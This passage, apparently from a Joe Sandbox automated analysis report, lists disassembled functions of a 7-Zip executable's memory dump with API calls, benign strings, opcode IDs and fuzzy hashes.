                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID: #
                                                                                                                                                                                                                                                              • API String ID: 1294909896-1885708031
                                                                                                                                                                                                                                                              • Opcode ID: b0f2d60c1820faef58548d21b8c4e06079b1368b0e0d09608c7fde7dbc05df21
                                                                                                                                                                                                                                                              • Instruction ID: e912743a816fcf22390676ffa3faa323ad9be52c7fe430ec3b38facf896c7de8
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: b0f2d60c1820faef58548d21b8c4e06079b1368b0e0d09608c7fde7dbc05df21
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 0831A223305BD081CB60DB1699544AAA766F7D47E4F640226FF9E4B764CE3AC882C704
                                                                                                                                                                                                                                                              Function 006B3CBC Relevance: 7.6, APIs: 5, Instructions: 94COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • WideCharToMultiByte.KERNEL32(?,?,?,FFFFFFFF,?,?,?,006B3E32), ref: 006B3D18
                                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,?,?,FFFFFFFF,?,?,?,006B3E32), ref: 006B3D25
                                                                                                                                                                                                                                                              • _CxxThrowException.MSVCRT ref: 006B3D4E
                                                                                                                                                                                                                                                              • WideCharToMultiByte.KERNEL32(?,?,?,FFFFFFFF,?,?,?,006B3E32), ref: 006B3DC1
                                                                                                                                                                                                                                                              • _CxxThrowException.MSVCRT ref: 006B3DFA
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ByteCharExceptionMultiThrowWide$ErrorLast
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2296236218-0
                                                                                                                                                                                                                                                              • Opcode ID: a638d3b70a987569a11810fe08a21e1709710d38c6574b86da1fec5f089001b5
                                                                                                                                                                                                                                                              • Instruction ID: a1f051e79e00202d6dda2a2cc03d75794abbacf8c75fb26de21915367066cb7e
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: a638d3b70a987569a11810fe08a21e1709710d38c6574b86da1fec5f089001b5
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8C310973704BC58ACB30CF25E4843AEBBA6F784B94F548126DB8963724DB38C995C701
                                                                                                                                                                                                                                                              Function 006F7080 Relevance: 7.6, APIs: 6, Instructions: 77COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: b578af894f36024e1f437a4cb75a0fc809cf4cc32df710a6eb33f0fd421a2ea5
                                                                                                                                                                                                                                                              • Instruction ID: 538e347b54e93ad57c7bcf98e58a96b9aa6faf7eb3d87a94ef5cdae8c5132c37
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: b578af894f36024e1f437a4cb75a0fc809cf4cc32df710a6eb33f0fd421a2ea5
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4E214CA7702A4485CB25DF39D8603B96362EB85FA8F294325DF2D17798CF35C846C354
                                                                                                                                                                                                                                                              Function 006B6778 Relevance: 7.6, APIs: 5, Instructions: 74filetimeCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: File$Create$CloseHandleTimefree
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 234454789-0
                                                                                                                                                                                                                                                              • Opcode ID: 2c2437ba34a7087855f8770e7a2108f964c72db211cbb1ecc9a6ff53a80baa42
                                                                                                                                                                                                                                                              • Instruction ID: ade52eaf33552cec14dee35b5690315e4cef62e49109b53b196ba86088ca851c
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2c2437ba34a7087855f8770e7a2108f964c72db211cbb1ecc9a6ff53a80baa42
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4221C27220458186D660DF16F954BAA6626B7857F8F540331EE7943BD8CB39C98AC700
                                                                                                                                                                                                                                                              Function 006DBF88 Relevance: 7.6, APIs: 6, Instructions: 70COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: memcmp
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1475443563-0
                                                                                                                                                                                                                                                              • Opcode ID: 1ace886e5cc3e700f187fce602ca08dcd48d7174a31f1a447d5d23bb38321506
                                                                                                                                                                                                                                                              • Instruction ID: f5839ad98450e997a8118ea0ee410dc7af84ddae2b173f23eb17d6ea5f3a25c2
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 1ace886e5cc3e700f187fce602ca08dcd48d7174a31f1a447d5d23bb38321506
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6C1124A1B0874AC1EB04CF279C613B827139B49FD0F85652ACF0987305EF79DA56C304
                                                                                                                                                                                                                                                              Function 006D8290 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006BB544: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,Path64,006D82CA), ref: 006BB56F
                                                                                                                                                                                                                                                                • Part of subcall function 006BB45C: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 006BB4AA
                                                                                                                                                                                                                                                                • Part of subcall function 006BB45C: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 006BB4F8
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D8343
                                                                                                                                                                                                                                                                • Part of subcall function 006B3404: free.MSVCRT ref: 006B3431
                                                                                                                                                                                                                                                                • Part of subcall function 006B3404: memmove.MSVCRT ref: 006B344C
                                                                                                                                                                                                                                                                • Part of subcall function 006B8624: free.MSVCRT ref: 006B86A9
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D832B
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D8336
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$QueryValue$Openmemmove
                                                                                                                                                                                                                                                              • String ID: 7z.dll$Software\7-zip
                                                                                                                                                                                                                                                              • API String ID: 2771487249-1558686312
                                                                                                                                                                                                                                                              • Opcode ID: 232e922c7f0ce51f826d985996c137ff839169f93ea0f5e4105b3c8395333e57
                                                                                                                                                                                                                                                              • Instruction ID: e0a1641c1c23bb0c044f110fc110328e143afe7effbbe4523860032ff6974757
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 232e922c7f0ce51f826d985996c137ff839169f93ea0f5e4105b3c8395333e57
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: EB11EC9230494050CA60EB11D8653EE6366EBD5BE0F841316EF5D47766DF2CC68AC704
                                                                                                                                                                                                                                                              Function 006F225C Relevance: 7.6, APIs: 5, Instructions: 52COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3873070119-0
                                                                                                                                                                                                                                                              • Opcode ID: 689b2ef2104b8583ad3e374e0ff24f5fd2d7cb2a6ea87d3443a7ff945e4a4c65
                                                                                                                                                                                                                                                              • Instruction ID: 61c9810788a5dca670cb1c1dd38a03742f432ca7e64c2472e112fb171b1006a6
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 689b2ef2104b8583ad3e374e0ff24f5fd2d7cb2a6ea87d3443a7ff945e4a4c65
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: BA1130A331494692DB20DF25F8503AE6332FB95B94F404231EFAE83BA8DF29C955C740
                                                                                                                                                                                                                                                              Function 006B6C84 Relevance: 7.5, APIs: 5, Instructions: 47COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateDirectoryfree$ErrorLast
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3252411863-0
                                                                                                                                                                                                                                                              • Opcode ID: fc7c84208e05cc916470f72eeea78ecee52ed3ec44cc2f5207f8f15f03265912
                                                                                                                                                                                                                                                              • Instruction ID: e4468632c084ff00422b31a156a316edb2192f259eef67afa7781197a6137e40
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: fc7c84208e05cc916470f72eeea78ecee52ed3ec44cc2f5207f8f15f03265912
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D20184A230860181DA70DB25E9943FD13679FC67F0F584230EA6D837A5DF1DC9C68700
                                                                                                                                                                                                                                                              Function 006E056F Relevance: 7.5, APIs: 6, Instructions: 41COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 4cc3be562f800f66c890074482ac147a4380dffb5d2304e0dd1a317519950c51
                                                                                                                                                                                                                                                              • Instruction ID: 1d9d58de2d3e1f2b754f7058aa34bbaea996cd2e461ae7fd91be40da74427317
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4cc3be562f800f66c890074482ac147a4380dffb5d2304e0dd1a317519950c51
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D8F03AA325664542CA45FE3AE4712AE5352ABC7F91F001566DF0E13311DE38C4C7C708
                                                                                                                                                                                                                                                              Function 006BEC90 Relevance: 7.5, APIs: 6, Instructions: 19COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 76439c2ae6d2279247935120ce8afe15d695928ca0b2e8dcd2c70b0a6abef4e1
                                                                                                                                                                                                                                                              • Instruction ID: e64c8db8aa511718e920fcd92d4a3086565b410988853c6335a1d08dd286fb06
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 76439c2ae6d2279247935120ce8afe15d695928ca0b2e8dcd2c70b0a6abef4e1
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B6E02FA261040681CB94FF7ADCB20AC33A6EBD5F887141255DF2E8B325CD20C8D3838C
                                                                                                                                                                                                                                                              Function 006F24B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 110COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F25EC
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F2636
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: memset.MSVCRT ref: 006FB20D
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: fputs.MSVCRT ref: 006FB232
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$freememset
                                                                                                                                                                                                                                                              • String ID: Name$Size
                                                                                                                                                                                                                                                              • API String ID: 2276422817-481755742
                                                                                                                                                                                                                                                              • Opcode ID: 88c80eeaa9b14fedc55482967235be8f5d37a87fac4782eb4143f45c95df4591
                                                                                                                                                                                                                                                              • Instruction ID: 4494f24a524ceb51580a9dbee396de468eb916989b885cdc8e6e54be23c83f35
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 88c80eeaa9b14fedc55482967235be8f5d37a87fac4782eb4143f45c95df4591
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 194116B321468992CB66EF34E4647EE2362F704B58F845126EF6E42391DF78C986C700
                                                                                                                                                                                                                                                              Function 006FBD5C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 82COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FBDCD
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FBE0B
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: memset.MSVCRT ref: 006FB20D
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: fputs.MSVCRT ref: 006FB232
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$memset
                                                                                                                                                                                                                                                              • String ID: : Removing files after including to archive$Removing
                                                                                                                                                                                                                                                              • API String ID: 3543874852-1218467041
                                                                                                                                                                                                                                                              • Opcode ID: 35889d15da0440bc8b65f489fa0c5df01c345507fef3a03229262cdd598ad02f
                                                                                                                                                                                                                                                              • Instruction ID: 43563d41fdb0e1bd18329b231473f6102741aaebcf476d43f65652539c4fb105
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 35889d15da0440bc8b65f489fa0c5df01c345507fef3a03229262cdd598ad02f
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2131C862604A8592DFB9EB31E4553FE6362E740784F44A436CB9F46265DF7CE4CAC300
                                                                                                                                                                                                                                                              Function 006FC47C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FC4FD
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FC50D
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006FC553
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: memset.MSVCRT ref: 006FB20D
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: fputs.MSVCRT ref: 006FB232
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$freememset
                                                                                                                                                                                                                                                              • String ID: :
                                                                                                                                                                                                                                                              • API String ID: 2276422817-3653984579
                                                                                                                                                                                                                                                              • Opcode ID: e9bcf27acdf7ac2d6e3f3cae4111de8fb74b4034055df34e1a2709ccc6db0766
                                                                                                                                                                                                                                                              • Instruction ID: bcb29f26a20e111aac6953066099e675ff0ff19c907832cd0a906a44ab5ca80a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e9bcf27acdf7ac2d6e3f3cae4111de8fb74b4034055df34e1a2709ccc6db0766
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 0F11E452300A4A81CB68EB35D9603FD6362BB85BE4F084235EF2E43795DF38C4958344
                                                                                                                                                                                                                                                              Function 006FB864 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 61COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FB8EB
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006FB90A
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: memset.MSVCRT ref: 006FB20D
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: fputs.MSVCRT ref: 006FB232
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$freememset
                                                                                                                                                                                                                                                              • String ID: ERROR: $WARNING:
                                                                                                                                                                                                                                                              • API String ID: 2276422817-2114518728
                                                                                                                                                                                                                                                              • Opcode ID: ecca43dc8351b2c902a0e5034670fe1dd14c0eeed9385964c550ca002694eadf
                                                                                                                                                                                                                                                              • Instruction ID: 2479eaa64eb80bf5fa501de749ab5585f10dede68233b93bad917eb3d350248f
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ecca43dc8351b2c902a0e5034670fe1dd14c0eeed9385964c550ca002694eadf
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 68119392701A4681DA64EB22E8617FE2352A785BE0F089239EF6F47391DF3CC4C5C308
                                                                                                                                                                                                                                                              Function 006F10C4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
